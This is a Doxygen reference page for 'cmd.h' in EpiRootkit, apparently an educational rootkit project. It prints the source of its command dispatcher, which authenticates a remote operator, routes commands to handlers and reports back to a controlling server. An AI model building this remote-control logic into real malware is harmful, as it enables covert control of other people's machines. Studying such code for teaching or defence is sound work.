EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
cmd.h File Reference
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

int rootkit_command (char *command, unsigned command_size, enum Protocol protocol)
 

Function Documentation

◆ rootkit_command()

int rootkit_command ( char *  command,
unsigned  command_size,
enum Protocol  protocol 
)

Definition at line 122 of file cmd.c.

123 {
124 // Handle ongoing download
125 if (download(command) == 0) {
126 return 0;
127 }
128
129 // Strip trailing newline if present
130 command[strcspn(command, "\n")] = '\0';
131
132 // Validate null termination
133 DBG_MSG("rootkit_command: received command: \"%s\"\n", command);
134 if (command[command_size - 1] != '\0') {
135 ERR_MSG("rootkit_command: command is not null-terminated\n");
136 return -EINVAL;
137 }
138
139 // Allow these commands without authentication
140 const char *allowed_commands[] = { "connect", "help", "ping", NULL };
141
142 if (!is_user_auth()) {
143 int allowed = 0;
144 for (int i = 0; allowed_commands[i] != NULL; i++) {
145 if (strncmp(command, allowed_commands[i], strlen(allowed_commands[i])) == 0) {
146 allowed = 1;
147 break;
148 }
149 }
150
151 if (!allowed) {
152 send_to_server(protocol, "Authentication required. Use the 'connect' "
153 "command to authenticate.\n");
154 ERR_MSG("rootkit_command: unauthorized command without authentication\n");
155 return -FAILURE;
156 }
157 }
158
159 // Match command against registered handlers
160 for (int i = 0; rootkit_commands_array[i].cmd_name != NULL; i++) {
161 if (strncmp(command, rootkit_commands_array[i].cmd_name,
162 rootkit_commands_array[i].cmd_name_size)
163 == 0) {
165 while (*args == ' ')
166 args++;
167 return rootkit_commands_array[i].cmd_handler(args, protocol);
168 }
169 }
170
171 // Unknown command
172 ERR_MSG("rootkit_command: unknown command \"%s\"\n", command);
173 send_to_server(protocol, "Unknown command\n");
174 return -EINVAL;
175}
static struct command rootkit_commands_array[]
Definition cmd.c:49
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define FAILURE
Definition config.h:6
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
bool is_user_auth(void)
Definition tcp/worker.c:13
char * cmd_name
Definition epirootkit.h:27
unsigned cmd_name_size
Definition epirootkit.h:28
int(* cmd_handler)(char *args, enum Protocol protocol)
Definition epirootkit.h:31